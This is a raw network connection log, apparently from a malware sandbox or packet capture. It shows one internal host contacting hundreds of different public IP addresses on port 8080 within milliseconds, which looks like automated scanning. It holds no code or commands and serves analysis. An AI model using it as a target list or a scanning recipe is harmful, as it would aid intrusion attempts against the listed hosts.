Nov 23, 2023 05:14:51.883516073 CET	54202	8080	192.168.2.13	31.245.103.211
Nov 23, 2023 05:14:51.883533001 CET	54202	8080	192.168.2.13	85.155.172.112
Nov 23, 2023 05:14:51.883533001 CET	54202	8080	192.168.2.13	94.246.17.179
Nov 23, 2023 05:14:51.883534908 CET	54202	8080	192.168.2.13	95.5.170.80
Nov 23, 2023 05:14:51.883534908 CET	54202	8080	192.168.2.13	95.91.114.197
Nov 23, 2023 05:14:51.883548975 CET	54202	8080	192.168.2.13	94.95.175.240
Nov 23, 2023 05:14:51.883553982 CET	54202	8080	192.168.2.13	94.185.177.253
Nov 23, 2023 05:14:51.883555889 CET	54202	8080	192.168.2.13	85.136.73.49
Nov 23, 2023 05:14:51.883575916 CET	54202	8080	192.168.2.13	94.107.42.232
Nov 23, 2023 05:14:51.883575916 CET	54202	8080	192.168.2.13	31.59.44.138
Nov 23, 2023 05:14:51.883575916 CET	54202	8080	192.168.2.13	85.248.86.45
Nov 23, 2023 05:14:51.883583069 CET	54202	8080	192.168.2.13	85.158.162.248
Nov 23, 2023 05:14:51.883583069 CET	54202	8080	192.168.2.13	85.218.175.123
Nov 23, 2023 05:14:51.883584976 CET	54202	8080	192.168.2.13	94.42.54.45
Nov 23, 2023 05:14:51.883599997 CET	54202	8080	192.168.2.13	94.100.67.104
Nov 23, 2023 05:14:51.883600950 CET	54202	8080	192.168.2.13	94.68.199.19
Nov 23, 2023 05:14:51.883604050 CET	54202	8080	192.168.2.13	95.188.0.0
Nov 23, 2023 05:14:51.883620024 CET	54202	8080	192.168.2.13	94.72.57.58
Nov 23, 2023 05:14:51.883620024 CET	54202	8080	192.168.2.13	31.242.5.123
Nov 23, 2023 05:14:51.883621931 CET	54202	8080	192.168.2.13	94.35.210.221
Nov 23, 2023 05:14:51.883629084 CET	54202	8080	192.168.2.13	95.155.21.122
Nov 23, 2023 05:14:51.883634090 CET	54202	8080	192.168.2.13	85.6.251.87
Nov 23, 2023 05:14:51.883634090 CET	54202	8080	192.168.2.13	94.44.219.244
Nov 23, 2023 05:14:51.883637905 CET	54202	8080	192.168.2.13	62.143.111.200
Nov 23, 2023 05:14:51.883637905 CET	54202	8080	192.168.2.13	31.140.117.58
Nov 23, 2023 05:14:51.883641005 CET	54202	8080	192.168.2.13	95.213.83.40
Nov 23, 2023 05:14:51.883656025 CET	54202	8080	192.168.2.13	31.232.216.187
Nov 23, 2023 05:14:51.883656979 CET	54202	8080	192.168.2.13	62.63.15.237
Nov 23, 2023 05:14:51.883666039 CET	54202	8080	192.168.2.13	31.162.174.16
Nov 23, 2023 05:14:51.883668900 CET	54202	8080	192.168.2.13	62.46.166.55
Nov 23, 2023 05:14:51.883686066 CET	54202	8080	192.168.2.13	85.223.208.80
Nov 23, 2023 05:14:51.883686066 CET	54202	8080	192.168.2.13	85.245.103.162
Nov 23, 2023 05:14:51.883696079 CET	54202	8080	192.168.2.13	85.37.132.51
Nov 23, 2023 05:14:51.883699894 CET	54202	8080	192.168.2.13	94.60.81.88
Nov 23, 2023 05:14:51.883708954 CET	54202	8080	192.168.2.13	62.38.67.111
Nov 23, 2023 05:14:51.883718014 CET	54202	8080	192.168.2.13	85.74.12.171
Nov 23, 2023 05:14:51.883719921 CET	54202	8080	192.168.2.13	94.44.162.197
Nov 23, 2023 05:14:51.883733034 CET	54202	8080	192.168.2.13	62.101.196.35
Nov 23, 2023 05:14:51.883733034 CET	54202	8080	192.168.2.13	62.157.71.90
Nov 23, 2023 05:14:51.883747101 CET	54202	8080	192.168.2.13	94.86.235.58
Nov 23, 2023 05:14:51.883749008 CET	54202	8080	192.168.2.13	62.83.33.122
Nov 23, 2023 05:14:51.883764029 CET	54202	8080	192.168.2.13	62.1.83.93
Nov 23, 2023 05:14:51.883775949 CET	54202	8080	192.168.2.13	31.183.121.119
Nov 23, 2023 05:14:51.883776903 CET	54202	8080	192.168.2.13	31.40.194.36
Nov 23, 2023 05:14:51.883778095 CET	54202	8080	192.168.2.13	62.108.119.87
Nov 23, 2023 05:14:51.883785963 CET	54202	8080	192.168.2.13	85.96.70.5
Nov 23, 2023 05:14:51.883794069 CET	54202	8080	192.168.2.13	85.33.173.28
Nov 23, 2023 05:14:51.883795977 CET	54202	8080	192.168.2.13	62.243.51.155
Nov 23, 2023 05:14:51.883809090 CET	54202	8080	192.168.2.13	85.80.225.8
Nov 23, 2023 05:14:51.883810043 CET	54202	8080	192.168.2.13	94.174.143.239
Nov 23, 2023 05:14:51.883824110 CET	54202	8080	192.168.2.13	62.35.240.228
Nov 23, 2023 05:14:51.883824110 CET	54202	8080	192.168.2.13	31.0.162.21
Nov 23, 2023 05:14:51.883827925 CET	54202	8080	192.168.2.13	62.55.54.4
Nov 23, 2023 05:14:51.883830070 CET	54202	8080	192.168.2.13	62.17.104.122
Nov 23, 2023 05:14:51.883837938 CET	54202	8080	192.168.2.13	94.180.101.219
Nov 23, 2023 05:14:51.883850098 CET	54202	8080	192.168.2.13	85.153.102.41
Nov 23, 2023 05:14:51.883856058 CET	54202	8080	192.168.2.13	62.67.2.170
Nov 23, 2023 05:14:51.883861065 CET	54202	8080	192.168.2.13	85.228.138.210
Nov 23, 2023 05:14:51.883866072 CET	54202	8080	192.168.2.13	94.76.227.181
Nov 23, 2023 05:14:51.883866072 CET	54202	8080	192.168.2.13	31.84.167.55
Nov 23, 2023 05:14:51.883884907 CET	54202	8080	192.168.2.13	94.44.212.118
Nov 23, 2023 05:14:51.883887053 CET	54202	8080	192.168.2.13	62.69.90.245
Nov 23, 2023 05:14:51.883887053 CET	54202	8080	192.168.2.13	62.110.247.123
Nov 23, 2023 05:14:51.883896112 CET	54202	8080	192.168.2.13	62.208.170.65
Nov 23, 2023 05:14:51.883896112 CET	54202	8080	192.168.2.13	95.139.37.18
Nov 23, 2023 05:14:51.883913994 CET	54202	8080	192.168.2.13	31.226.87.241
Nov 23, 2023 05:14:51.883917093 CET	54202	8080	192.168.2.13	62.36.107.91
Nov 23, 2023 05:14:51.883919954 CET	54202	8080	192.168.2.13	62.170.165.218
Nov 23, 2023 05:14:51.883935928 CET	54202	8080	192.168.2.13	31.176.41.82
Nov 23, 2023 05:14:51.883935928 CET	54202	8080	192.168.2.13	95.88.48.175
Nov 23, 2023 05:14:51.883938074 CET	54202	8080	192.168.2.13	95.113.153.116
Nov 23, 2023 05:14:51.883950949 CET	54202	8080	192.168.2.13	31.12.89.253
Nov 23, 2023 05:14:51.883955002 CET	54202	8080	192.168.2.13	85.108.150.23
Nov 23, 2023 05:14:51.883955956 CET	54202	8080	192.168.2.13	62.218.40.52
Nov 23, 2023 05:14:51.883955956 CET	54202	8080	192.168.2.13	85.87.42.31
Nov 23, 2023 05:14:51.883966923 CET	54202	8080	192.168.2.13	94.142.130.30
Nov 23, 2023 05:14:51.883966923 CET	54202	8080	192.168.2.13	95.237.120.235
Nov 23, 2023 05:14:51.884001970 CET	54202	8080	192.168.2.13	85.20.155.155
Nov 23, 2023 05:14:51.884005070 CET	54202	8080	192.168.2.13	94.73.177.177
Nov 23, 2023 05:14:51.884005070 CET	54202	8080	192.168.2.13	62.241.209.51
Nov 23, 2023 05:14:51.884011984 CET	54202	8080	192.168.2.13	31.63.13.164
Nov 23, 2023 05:14:51.884012938 CET	54202	8080	192.168.2.13	95.50.9.152
Nov 23, 2023 05:14:51.884021044 CET	54202	8080	192.168.2.13	31.147.101.5
Nov 23, 2023 05:14:51.884028912 CET	54202	8080	192.168.2.13	85.175.96.226
Nov 23, 2023 05:14:51.884028912 CET	54202	8080	192.168.2.13	94.191.187.90
Nov 23, 2023 05:14:51.884028912 CET	54202	8080	192.168.2.13	95.175.118.117
Nov 23, 2023 05:14:51.884042978 CET	54202	8080	192.168.2.13	94.230.248.234
Nov 23, 2023 05:14:51.884049892 CET	54202	8080	192.168.2.13	95.165.121.100
Nov 23, 2023 05:14:51.884056091 CET	54202	8080	192.168.2.13	31.20.139.248
Nov 23, 2023 05:14:51.884069920 CET	54202	8080	192.168.2.13	95.49.6.128
Nov 23, 2023 05:14:51.884072065 CET	54202	8080	192.168.2.13	31.139.57.232
Nov 23, 2023 05:14:51.884072065 CET	54202	8080	192.168.2.13	62.214.17.91
Nov 23, 2023 05:14:51.884073019 CET	54202	8080	192.168.2.13	85.141.47.79
Nov 23, 2023 05:14:51.884088993 CET	54202	8080	192.168.2.13	85.51.114.126
Nov 23, 2023 05:14:51.884092093 CET	54202	8080	192.168.2.13	62.20.82.40
Nov 23, 2023 05:14:51.884093046 CET	54202	8080	192.168.2.13	62.219.161.97
Nov 23, 2023 05:14:51.884111881 CET	54202	8080	192.168.2.13	85.222.242.16
Nov 23, 2023 05:14:51.884114027 CET	54202	8080	192.168.2.13	85.108.83.105
Nov 23, 2023 05:14:51.884114981 CET	54202	8080	192.168.2.13	95.115.100.219
Nov 23, 2023 05:14:51.884131908 CET	54202	8080	192.168.2.13	31.211.46.254
Nov 23, 2023 05:14:51.884131908 CET	54202	8080	192.168.2.13	95.186.165.45
Nov 23, 2023 05:14:51.884145021 CET	54202	8080	192.168.2.13	31.103.107.230
Nov 23, 2023 05:14:51.884145021 CET	54202	8080	192.168.2.13	85.187.2.94
Nov 23, 2023 05:14:51.884157896 CET	54202	8080	192.168.2.13	85.90.7.2
Nov 23, 2023 05:14:51.884165049 CET	54202	8080	192.168.2.13	85.95.255.135
Nov 23, 2023 05:14:51.884179115 CET	54202	8080	192.168.2.13	94.28.232.198
Nov 23, 2023 05:14:51.884180069 CET	54202	8080	192.168.2.13	85.9.190.97
Nov 23, 2023 05:14:51.884181023 CET	54202	8080	192.168.2.13	85.149.219.177
Nov 23, 2023 05:14:51.884193897 CET	54202	8080	192.168.2.13	94.232.250.56
Nov 23, 2023 05:14:51.884193897 CET	54202	8080	192.168.2.13	95.208.5.235
Nov 23, 2023 05:14:51.884205103 CET	54202	8080	192.168.2.13	85.9.32.125
Nov 23, 2023 05:14:51.884217024 CET	54202	8080	192.168.2.13	95.41.107.195
Nov 23, 2023 05:14:51.884219885 CET	54202	8080	192.168.2.13	31.82.105.253
Nov 23, 2023 05:14:51.884221077 CET	54202	8080	192.168.2.13	31.203.223.210
Nov 23, 2023 05:14:51.884242058 CET	54202	8080	192.168.2.13	94.203.185.224
Nov 23, 2023 05:14:51.884242058 CET	54202	8080	192.168.2.13	62.170.122.59
Nov 23, 2023 05:14:51.884243011 CET	54202	8080	192.168.2.13	85.196.156.34
Nov 23, 2023 05:14:51.884248018 CET	54202	8080	192.168.2.13	62.44.12.151
Nov 23, 2023 05:14:51.884260893 CET	54202	8080	192.168.2.13	95.82.93.61
Nov 23, 2023 05:14:51.884265900 CET	54202	8080	192.168.2.13	94.51.90.205
Nov 23, 2023 05:14:51.884277105 CET	54202	8080	192.168.2.13	85.27.65.21
Nov 23, 2023 05:14:51.884278059 CET	54202	8080	192.168.2.13	94.85.5.63
Nov 23, 2023 05:14:51.884288073 CET	54202	8080	192.168.2.13	31.12.74.1
Nov 23, 2023 05:14:51.884289980 CET	54202	8080	192.168.2.13	62.106.238.38
Nov 23, 2023 05:14:51.884289980 CET	54202	8080	192.168.2.13	94.189.197.188
Nov 23, 2023 05:14:51.884299994 CET	54202	8080	192.168.2.13	95.53.178.151
Nov 23, 2023 05:14:51.884309053 CET	54202	8080	192.168.2.13	94.173.57.194
Nov 23, 2023 05:14:51.884319067 CET	54202	8080	192.168.2.13	85.111.167.166
Nov 23, 2023 05:14:51.884329081 CET	54202	8080	192.168.2.13	85.217.147.23
Nov 23, 2023 05:14:51.884329081 CET	54202	8080	192.168.2.13	85.150.250.211
Nov 23, 2023 05:14:51.884341955 CET	54202	8080	192.168.2.13	31.62.120.224
Nov 23, 2023 05:14:51.884342909 CET	54202	8080	192.168.2.13	95.228.253.226
Nov 23, 2023 05:14:51.884354115 CET	54202	8080	192.168.2.13	31.200.10.201
Nov 23, 2023 05:14:51.884355068 CET	54202	8080	192.168.2.13	85.219.173.180
Nov 23, 2023 05:14:51.884356976 CET	54202	8080	192.168.2.13	95.237.250.14
Nov 23, 2023 05:14:51.884362936 CET	54202	8080	192.168.2.13	62.12.91.76
Nov 23, 2023 05:14:51.884373903 CET	54202	8080	192.168.2.13	85.167.250.99
Nov 23, 2023 05:14:51.884382963 CET	54202	8080	192.168.2.13	95.90.146.228
Nov 23, 2023 05:14:51.884385109 CET	54202	8080	192.168.2.13	95.127.200.72
Nov 23, 2023 05:14:51.884390116 CET	54202	8080	192.168.2.13	94.200.84.180
Nov 23, 2023 05:14:51.884390116 CET	54202	8080	192.168.2.13	62.161.170.182
Nov 23, 2023 05:14:51.884390116 CET	54202	8080	192.168.2.13	94.215.65.239
Nov 23, 2023 05:14:51.884391069 CET	54202	8080	192.168.2.13	62.249.170.132
Nov 23, 2023 05:14:51.884391069 CET	54202	8080	192.168.2.13	62.119.244.164
Nov 23, 2023 05:14:51.884391069 CET	54202	8080	192.168.2.13	85.236.38.248
Nov 23, 2023 05:14:51.884406090 CET	54202	8080	192.168.2.13	31.130.17.190
Nov 23, 2023 05:14:51.884418011 CET	54202	8080	192.168.2.13	31.235.29.127
Nov 23, 2023 05:14:51.884422064 CET	54202	8080	192.168.2.13	31.83.76.65
Nov 23, 2023 05:14:51.884424925 CET	54202	8080	192.168.2.13	94.69.160.245
Nov 23, 2023 05:14:51.884440899 CET	54202	8080	192.168.2.13	62.194.18.116
Nov 23, 2023 05:14:51.884440899 CET	54202	8080	192.168.2.13	85.245.101.255
Nov 23, 2023 05:14:51.884443045 CET	54202	8080	192.168.2.13	62.134.36.24
Nov 23, 2023 05:14:51.884460926 CET	54202	8080	192.168.2.13	31.60.227.114
Nov 23, 2023 05:14:51.884462118 CET	54202	8080	192.168.2.13	85.149.232.96
Nov 23, 2023 05:14:51.884471893 CET	54202	8080	192.168.2.13	31.133.59.79
Nov 23, 2023 05:14:51.884471893 CET	54202	8080	192.168.2.13	85.42.205.245
Nov 23, 2023 05:14:51.884479046 CET	54202	8080	192.168.2.13	85.122.62.244
Nov 23, 2023 05:14:51.884480953 CET	54202	8080	192.168.2.13	62.236.72.218
Nov 23, 2023 05:14:51.884484053 CET	54202	8080	192.168.2.13	62.191.165.246
Nov 23, 2023 05:14:51.884490013 CET	54202	8080	192.168.2.13	95.222.97.75
Nov 23, 2023 05:14:51.884501934 CET	54202	8080	192.168.2.13	85.97.162.244
Nov 23, 2023 05:14:51.884515047 CET	54202	8080	192.168.2.13	31.42.63.88
Nov 23, 2023 05:14:51.884517908 CET	54202	8080	192.168.2.13	95.25.208.152
Nov 23, 2023 05:14:51.884524107 CET	54202	8080	192.168.2.13	94.34.112.34
Nov 23, 2023 05:14:51.884536982 CET	54202	8080	192.168.2.13	62.187.47.167
Nov 23, 2023 05:14:51.884543896 CET	54202	8080	192.168.2.13	62.125.10.182
Nov 23, 2023 05:14:51.884543896 CET	54202	8080	192.168.2.13	62.56.200.253
Nov 23, 2023 05:14:51.884545088 CET	54202	8080	192.168.2.13	62.140.125.67
Nov 23, 2023 05:14:51.884552956 CET	54202	8080	192.168.2.13	62.235.195.81
Nov 23, 2023 05:14:51.884553909 CET	54202	8080	192.168.2.13	95.230.217.1
Nov 23, 2023 05:14:51.884565115 CET	54202	8080	192.168.2.13	85.12.246.251
Nov 23, 2023 05:14:51.884565115 CET	54202	8080	192.168.2.13	94.189.17.255
Nov 23, 2023 05:14:51.884567022 CET	54202	8080	192.168.2.13	94.16.78.51
Nov 23, 2023 05:14:51.884572983 CET	54202	8080	192.168.2.13	62.24.74.63
Nov 23, 2023 05:14:51.884572983 CET	54202	8080	192.168.2.13	62.35.230.50
Nov 23, 2023 05:14:51.884581089 CET	54202	8080	192.168.2.13	62.167.49.170
Nov 23, 2023 05:14:51.884593010 CET	54202	8080	192.168.2.13	62.96.240.2
Nov 23, 2023 05:14:51.884602070 CET	54202	8080	192.168.2.13	85.32.82.19
Nov 23, 2023 05:14:51.884605885 CET	54202	8080	192.168.2.13	95.68.250.74
Nov 23, 2023 05:14:51.884615898 CET	54202	8080	192.168.2.13	62.93.34.173
Nov 23, 2023 05:14:51.884615898 CET	54202	8080	192.168.2.13	31.105.240.137
Nov 23, 2023 05:14:51.884624004 CET	54202	8080	192.168.2.13	31.117.186.143
Nov 23, 2023 05:14:51.884634972 CET	54202	8080	192.168.2.13	85.232.10.212
Nov 23, 2023 05:14:51.884641886 CET	54202	8080	192.168.2.13	62.108.97.2
Nov 23, 2023 05:14:51.884643078 CET	54202	8080	192.168.2.13	85.193.140.235
Nov 23, 2023 05:14:51.884658098 CET	54202	8080	192.168.2.13	85.204.54.90
Nov 23, 2023 05:14:51.884659052 CET	54202	8080	192.168.2.13	62.233.148.180
Nov 23, 2023 05:14:51.884666920 CET	54202	8080	192.168.2.13	94.39.183.178
Nov 23, 2023 05:14:51.884668112 CET	54202	8080	192.168.2.13	94.54.249.29
Nov 23, 2023 05:14:51.884689093 CET	54202	8080	192.168.2.13	94.171.53.85
Nov 23, 2023 05:14:51.884690046 CET	54202	8080	192.168.2.13	62.136.8.126
Nov 23, 2023 05:14:51.884696007 CET	54202	8080	192.168.2.13	62.210.60.237
Nov 23, 2023 05:14:51.884696007 CET	54202	8080	192.168.2.13	62.121.77.253
Nov 23, 2023 05:14:51.884708881 CET	54202	8080	192.168.2.13	94.252.110.164
Nov 23, 2023 05:14:51.884716034 CET	54202	8080	192.168.2.13	85.195.243.33
Nov 23, 2023 05:14:51.884720087 CET	54202	8080	192.168.2.13	31.61.61.62
Nov 23, 2023 05:14:51.884726048 CET	54202	8080	192.168.2.13	31.100.108.16
Nov 23, 2023 05:14:51.884737015 CET	54202	8080	192.168.2.13	95.157.238.60
Nov 23, 2023 05:14:51.884737015 CET	54202	8080	192.168.2.13	62.168.51.49
Nov 23, 2023 05:14:51.884746075 CET	54202	8080	192.168.2.13	85.121.106.250
Nov 23, 2023 05:14:51.884748936 CET	54202	8080	192.168.2.13	62.96.42.153
Nov 23, 2023 05:14:51.884762049 CET	54202	8080	192.168.2.13	95.247.85.60
Nov 23, 2023 05:14:51.884762049 CET	54202	8080	192.168.2.13	95.182.152.242
Nov 23, 2023 05:14:51.884763002 CET	54202	8080	192.168.2.13	94.190.234.29
Nov 23, 2023 05:14:51.884773970 CET	54202	8080	192.168.2.13	31.113.134.90
Nov 23, 2023 05:14:51.884780884 CET	54202	8080	192.168.2.13	31.125.52.45
Nov 23, 2023 05:14:51.884780884 CET	54202	8080	192.168.2.13	62.126.165.87
Nov 23, 2023 05:14:51.884793997 CET	54202	8080	192.168.2.13	95.132.255.254
Nov 23, 2023 05:14:51.884795904 CET	54202	8080	192.168.2.13	94.24.199.129
Nov 23, 2023 05:14:51.884799957 CET	54202	8080	192.168.2.13	62.245.59.34
Nov 23, 2023 05:14:51.884814978 CET	54202	8080	192.168.2.13	95.49.190.62
Nov 23, 2023 05:14:51.884816885 CET	54202	8080	192.168.2.13	94.1.197.107
Nov 23, 2023 05:14:51.884816885 CET	54202	8080	192.168.2.13	95.192.125.6
Nov 23, 2023 05:14:51.884830952 CET	54202	8080	192.168.2.13	95.40.244.123
Nov 23, 2023 05:14:51.884838104 CET	54202	8080	192.168.2.13	85.151.65.202
Nov 23, 2023 05:14:51.884838104 CET	54202	8080	192.168.2.13	62.197.98.221
Nov 23, 2023 05:14:51.884855986 CET	54202	8080	192.168.2.13	85.243.17.118
Nov 23, 2023 05:14:51.884864092 CET	54202	8080	192.168.2.13	31.132.27.60
Nov 23, 2023 05:14:51.884867907 CET	54202	8080	192.168.2.13	31.44.93.28
Nov 23, 2023 05:14:51.884871960 CET	54202	8080	192.168.2.13	85.135.80.204
Nov 23, 2023 05:14:51.884874105 CET	54202	8080	192.168.2.13	31.3.40.183
Nov 23, 2023 05:14:51.884895086 CET	54202	8080	192.168.2.13	94.2.222.156
Nov 23, 2023 05:14:51.884895086 CET	54202	8080	192.168.2.13	62.135.168.62
Nov 23, 2023 05:14:51.884907961 CET	54202	8080	192.168.2.13	85.31.175.80
Nov 23, 2023 05:14:51.884908915 CET	54202	8080	192.168.2.13	31.120.9.195
Nov 23, 2023 05:14:51.884912968 CET	54202	8080	192.168.2.13	31.58.234.225
Nov 23, 2023 05:14:51.884912968 CET	54202	8080	192.168.2.13	94.203.125.126
Nov 23, 2023 05:14:51.884913921 CET	54202	8080	192.168.2.13	62.129.225.163
Nov 23, 2023 05:14:51.884916067 CET	54202	8080	192.168.2.13	62.171.6.103
Nov 23, 2023 05:14:51.884929895 CET	54202	8080	192.168.2.13	62.21.125.241
Nov 23, 2023 05:14:51.884939909 CET	54202	8080	192.168.2.13	94.64.117.80
Nov 23, 2023 05:14:51.884944916 CET	54202	8080	192.168.2.13	95.70.238.85
Nov 23, 2023 05:14:51.884947062 CET	54202	8080	192.168.2.13	31.39.18.126
Nov 23, 2023 05:14:51.884952068 CET	54202	8080	192.168.2.13	62.235.173.7
Nov 23, 2023 05:14:51.884969950 CET	54202	8080	192.168.2.13	62.83.152.117
Nov 23, 2023 05:14:51.884972095 CET	54202	8080	192.168.2.13	94.206.159.31
Nov 23, 2023 05:14:51.884974957 CET	54202	8080	192.168.2.13	85.219.127.4
Nov 23, 2023 05:14:51.884984970 CET	54202	8080	192.168.2.13	95.226.79.156
Nov 23, 2023 05:14:51.884991884 CET	54202	8080	192.168.2.13	95.113.34.110
Nov 23, 2023 05:14:51.884993076 CET	54202	8080	192.168.2.13	95.193.138.110
Nov 23, 2023 05:14:51.884993076 CET	54202	8080	192.168.2.13	62.227.3.203
Nov 23, 2023 05:14:51.885000944 CET	54202	8080	192.168.2.13	94.1.189.212
Nov 23, 2023 05:14:51.885000944 CET	54202	8080	192.168.2.13	95.199.161.1
Nov 23, 2023 05:14:51.885016918 CET	54202	8080	192.168.2.13	94.240.88.216
Nov 23, 2023 05:14:51.885019064 CET	54202	8080	192.168.2.13	62.57.86.50
Nov 23, 2023 05:14:51.885031939 CET	54202	8080	192.168.2.13	85.217.136.233
Nov 23, 2023 05:14:51.885031939 CET	54202	8080	192.168.2.13	31.235.255.17
Nov 23, 2023 05:14:51.885047913 CET	54202	8080	192.168.2.13	62.153.156.2
Nov 23, 2023 05:14:51.885050058 CET	54202	8080	192.168.2.13	94.176.244.110
Nov 23, 2023 05:14:51.885051012 CET	54202	8080	192.168.2.13	62.230.182.46
Nov 23, 2023 05:14:51.885056973 CET	54202	8080	192.168.2.13	94.173.250.128
Nov 23, 2023 05:14:51.885071993 CET	54202	8080	192.168.2.13	85.110.120.232
Nov 23, 2023 05:14:51.885077000 CET	54202	8080	192.168.2.13	95.159.48.148
Nov 23, 2023 05:14:51.885077953 CET	54202	8080	192.168.2.13	62.221.59.234
Nov 23, 2023 05:14:51.885087013 CET	54202	8080	192.168.2.13	94.43.82.134
Nov 23, 2023 05:14:51.885097980 CET	54202	8080	192.168.2.13	95.103.50.72
Nov 23, 2023 05:14:51.885098934 CET	54202	8080	192.168.2.13	95.223.19.156
Nov 23, 2023 05:14:51.885099888 CET	54202	8080	192.168.2.13	94.150.236.134
Nov 23, 2023 05:14:51.885099888 CET	54202	8080	192.168.2.13	62.134.122.71
Nov 23, 2023 05:14:51.885111094 CET	54202	8080	192.168.2.13	94.133.15.175
Nov 23, 2023 05:14:51.885112047 CET	54202	8080	192.168.2.13	85.243.206.215
Nov 23, 2023 05:14:51.885117054 CET	54202	8080	192.168.2.13	85.128.208.169
Nov 23, 2023 05:14:51.885121107 CET	54202	8080	192.168.2.13	95.162.180.212
Nov 23, 2023 05:14:51.885137081 CET	54202	8080	192.168.2.13	94.92.96.175
Nov 23, 2023 05:14:51.885143995 CET	54202	8080	192.168.2.13	95.150.211.31
Nov 23, 2023 05:14:51.885147095 CET	54202	8080	192.168.2.13	62.7.206.101
Nov 23, 2023 05:14:51.885153055 CET	54202	8080	192.168.2.13	94.108.238.91
Nov 23, 2023 05:14:51.885162115 CET	54202	8080	192.168.2.13	31.131.122.14
Nov 23, 2023 05:14:51.885164022 CET	54202	8080	192.168.2.13	85.116.106.170
Nov 23, 2023 05:14:51.885166883 CET	54202	8080	192.168.2.13	95.158.216.170
Nov 23, 2023 05:14:51.885171890 CET	54202	8080	192.168.2.13	94.74.208.166
Nov 23, 2023 05:14:51.885190010 CET	54202	8080	192.168.2.13	31.42.120.168
Nov 23, 2023 05:14:51.885190964 CET	54202	8080	192.168.2.13	62.107.237.165
Nov 23, 2023 05:14:51.885190964 CET	54202	8080	192.168.2.13	95.255.83.52
Nov 23, 2023 05:14:51.885195971 CET	54202	8080	192.168.2.13	95.118.241.189
Nov 23, 2023 05:14:51.885201931 CET	54202	8080	192.168.2.13	31.55.9.146
Nov 23, 2023 05:14:51.885217905 CET	54202	8080	192.168.2.13	85.204.210.79
Nov 23, 2023 05:14:51.885225058 CET	54202	8080	192.168.2.13	31.34.172.183
Nov 23, 2023 05:14:51.885226011 CET	54202	8080	192.168.2.13	95.160.50.186
Nov 23, 2023 05:14:51.885225058 CET	54202	8080	192.168.2.13	94.251.234.26
Nov 23, 2023 05:14:51.885234118 CET	54202	8080	192.168.2.13	95.72.150.138
Nov 23, 2023 05:14:51.885234118 CET	54202	8080	192.168.2.13	94.115.123.84
Nov 23, 2023 05:14:51.885260105 CET	54202	8080	192.168.2.13	95.95.168.213
Nov 23, 2023 05:14:51.885262966 CET	54202	8080	192.168.2.13	85.13.247.99
Nov 23, 2023 05:14:51.885265112 CET	54202	8080	192.168.2.13	85.211.199.149
Nov 23, 2023 05:14:51.885265112 CET	54202	8080	192.168.2.13	62.238.165.155
Nov 23, 2023 05:14:51.885268927 CET	54202	8080	192.168.2.13	62.177.147.90
Nov 23, 2023 05:14:51.885276079 CET	54202	8080	192.168.2.13	95.2.7.240
Nov 23, 2023 05:14:51.885279894 CET	54202	8080	192.168.2.13	85.247.152.105
Nov 23, 2023 05:14:51.885284901 CET	54202	8080	192.168.2.13	94.148.216.179
Nov 23, 2023 05:14:51.885305882 CET	54202	8080	192.168.2.13	85.195.202.51
Nov 23, 2023 05:14:51.885308027 CET	54202	8080	192.168.2.13	85.67.236.210
Nov 23, 2023 05:14:51.885315895 CET	54202	8080	192.168.2.13	85.52.40.226
Nov 23, 2023 05:14:51.885315895 CET	54202	8080	192.168.2.13	85.253.46.44
Nov 23, 2023 05:14:51.885318995 CET	54202	8080	192.168.2.13	85.178.23.145
Nov 23, 2023 05:14:51.885327101 CET	54202	8080	192.168.2.13	85.117.22.179
Nov 23, 2023 05:14:51.885339022 CET	54202	8080	192.168.2.13	95.44.176.158
Nov 23, 2023 05:14:51.885344982 CET	54202	8080	192.168.2.13	62.115.144.113
Nov 23, 2023 05:14:51.885348082 CET	54202	8080	192.168.2.13	62.51.91.230
Nov 23, 2023 05:14:51.885356903 CET	54202	8080	192.168.2.13	94.32.66.233
Nov 23, 2023 05:14:51.885358095 CET	54202	8080	192.168.2.13	94.175.120.100
Nov 23, 2023 05:14:51.885365009 CET	54202	8080	192.168.2.13	62.254.212.192
Nov 23, 2023 05:14:51.885370016 CET	54202	8080	192.168.2.13	94.175.118.143
Nov 23, 2023 05:14:51.885382891 CET	54202	8080	192.168.2.13	95.217.197.173
Nov 23, 2023 05:14:51.885387897 CET	54202	8080	192.168.2.13	94.7.106.52
Nov 23, 2023 05:14:51.885391951 CET	54202	8080	192.168.2.13	62.158.64.224
Nov 23, 2023 05:14:51.885391951 CET	54202	8080	192.168.2.13	62.48.166.104
Nov 23, 2023 05:14:51.885406017 CET	54202	8080	192.168.2.13	94.117.96.10
Nov 23, 2023 05:14:51.885411978 CET	54202	8080	192.168.2.13	31.155.171.199
Nov 23, 2023 05:14:51.885413885 CET	54202	8080	192.168.2.13	62.150.215.103
Nov 23, 2023 05:14:51.885417938 CET	54202	8080	192.168.2.13	31.113.161.55
Nov 23, 2023 05:14:51.885426998 CET	54202	8080	192.168.2.13	94.96.25.54
Nov 23, 2023 05:14:51.885432005 CET	54202	8080	192.168.2.13	95.233.109.45
Nov 23, 2023 05:14:51.885436058 CET	54202	8080	192.168.2.13	85.1.55.97
Nov 23, 2023 05:14:51.885447979 CET	54202	8080	192.168.2.13	95.16.209.0
Nov 23, 2023 05:14:51.885454893 CET	54202	8080	192.168.2.13	62.47.119.20
Nov 23, 2023 05:14:51.885457039 CET	54202	8080	192.168.2.13	94.219.61.69
Nov 23, 2023 05:14:51.885469913 CET	54202	8080	192.168.2.13	85.5.33.231
Nov 23, 2023 05:14:51.885477066 CET	54202	8080	192.168.2.13	62.30.255.135
Nov 23, 2023 05:14:51.885482073 CET	54202	8080	192.168.2.13	94.205.223.64
Nov 23, 2023 05:14:51.885483980 CET	54202	8080	192.168.2.13	62.40.186.129
Nov 23, 2023 05:14:51.885492086 CET	54202	8080	192.168.2.13	94.221.14.216
Nov 23, 2023 05:14:51.885495901 CET	54202	8080	192.168.2.13	85.81.182.241
Nov 23, 2023 05:14:51.885505915 CET	54202	8080	192.168.2.13	94.205.122.52
Nov 23, 2023 05:14:51.885514975 CET	54202	8080	192.168.2.13	94.225.102.18
Nov 23, 2023 05:14:51.885525942 CET	54202	8080	192.168.2.13	94.50.197.211
Nov 23, 2023 05:14:51.885525942 CET	54202	8080	192.168.2.13	94.130.64.203
Nov 23, 2023 05:14:51.885525942 CET	54202	8080	192.168.2.13	85.189.132.46
Nov 23, 2023 05:14:51.885528088 CET	54202	8080	192.168.2.13	62.173.251.86
Nov 23, 2023 05:14:51.885528088 CET	54202	8080	192.168.2.13	62.224.187.40
Nov 23, 2023 05:14:51.885543108 CET	54202	8080	192.168.2.13	31.172.212.139
Nov 23, 2023 05:14:51.885549068 CET	54202	8080	192.168.2.13	31.152.69.121
Nov 23, 2023 05:14:51.885550022 CET	54202	8080	192.168.2.13	31.59.121.170
